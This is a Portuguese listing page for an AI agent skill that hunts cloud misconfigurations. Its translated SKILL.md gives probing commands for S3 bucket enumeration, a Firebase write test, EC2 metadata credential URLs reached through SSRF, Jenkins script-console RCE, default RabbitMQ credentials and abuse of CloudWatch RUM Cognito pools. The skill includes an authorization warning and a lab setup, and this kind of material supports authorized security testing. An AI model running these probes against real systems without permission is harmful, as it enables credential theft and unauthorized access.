hunt-cloud-misconfig
Ajuda seu agente a encontrar configurações incorretas em serviços de nuvem. Essencial para proteger dados e aplicações hospedadas na nuvem.
O que ela faz
Esta ferramenta procura por configurações incorretas em serviços de nuvem (como AWS, Google Cloud, Azure). Ela ajuda a encontrar falhas de segurança que podem expor dados ou permitir acesso não autorizado.
Quando usar
- ✓Ao verificar a segurança de uma aplicação na nuvem.
- ✓Após uma mudança na infraestrutura de nuvem.
- ✓Para auditar permissões e acessos em serviços de nuvem.
Exemplo do que pedir para a IA
“Procure por configurações inseguras nos meus buckets S3.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta acessar recursos de nuvem de maneiras comuns que são conhecidas por serem inseguras. Ela verifica se esses acessos retornam informações que não deveriam ser públicas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfigOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-cloud-misconfig/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
16. CONFIGURAÇÕES INCORRETAS DE NUVEM / INFRA
S3 / GCS / Azure Blob
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
Metadados EC2 (via SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
Painéis de Administração Expostos
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
Falha na restrição SSO do Jenkins → RCE no Console de Script
Um Jenkins exposto que autentica QUALQUER conta pessoal do Google/OAuth (falta de restrição de domínio organizacional) é um comprometimento total: faça login e, em seguida, /script (console Groovy) = RCE, e /credentials + /scriptText = tokens de API armazenados e divulgação de código-fonte. Divulgado: reports/231460.
Broker de mensagens exposto (RabbitMQ / AMQP) com credenciais padrão
Sonde o gerenciamento do RabbitMQ (http://TARGET:15672/, API :15672/api/overview) e AMQP :5672; tente as credenciais padrão guest:guest (funciona fora do localhost quando loopback_users está mal configurado) → leitura de fila/mensagem, enumeração de vhost, plugin de gerenciamento de administrador. Divulgado: reports/753602.
Ferramentas de verificação local
Para testar descobertas de configurações incorretas de nuvem contra um simulador AWS local antes/em vez de acessar a nuvem real:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
Sem essas variáveis de ambiente, aws s3 cp/sync falha com InvalidRequest. Documente isso para a equipe. Veja docs/verification/phase2j-cloud-localstack.md para o fluxo reproduzível completo.
Weaponization do CloudWatch RUM (superfície de 2024-2026)
AWS CloudWatch RUM (Real-User Monitoring) é um serviço de telemetria do lado do cliente lançado no final de 2021. Os clientes incorporam um snippet JS em suas páginas que envia eventos de desempenho/erro para dataplane.rum.<region>.amazonaws.com. A configuração AppMonitor do snippet contém um identityPoolId (Cognito) e um guestRoleArn (função IAM) — ambos públicos por design. A política da função IAM é a fronteira de segurança e, quando os desenvolvedores a deixam mais ampla do que o mínimo documentado (rum:PutRumEvents no ARN do AppMonitor), todo o pool se torna a máquina de distribuição de credenciais AWS não autenticadas descrita em cloud-iam-deep → cadeia de Identity Pool do Cognito.
Detecção — Impressões digitais de pacotes JS
Estilo Snippet (mais comum, incorporado em <head>):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
…
Perguntas frequentes
O que é uma 'configuração incorreta' (misconfiguration)?
É quando um serviço de nuvem é configurado de forma que deixa brechas de segurança, como deixar um banco de dados aberto para qualquer um acessar.
Preciso ter permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do dono do sistema antes de usar esta ferramenta, pois ela pode acessar informações sensíveis.
O que acontece se a ferramenta encontrar algo?
Ela irá relatar as configurações incorretas encontradas, permitindo que você tome as medidas necessárias para corrigi-las e proteger seus dados.
Detalhes
Descrição original do autor
Hunt cloud / infrastructure misconfigurations.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3250
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC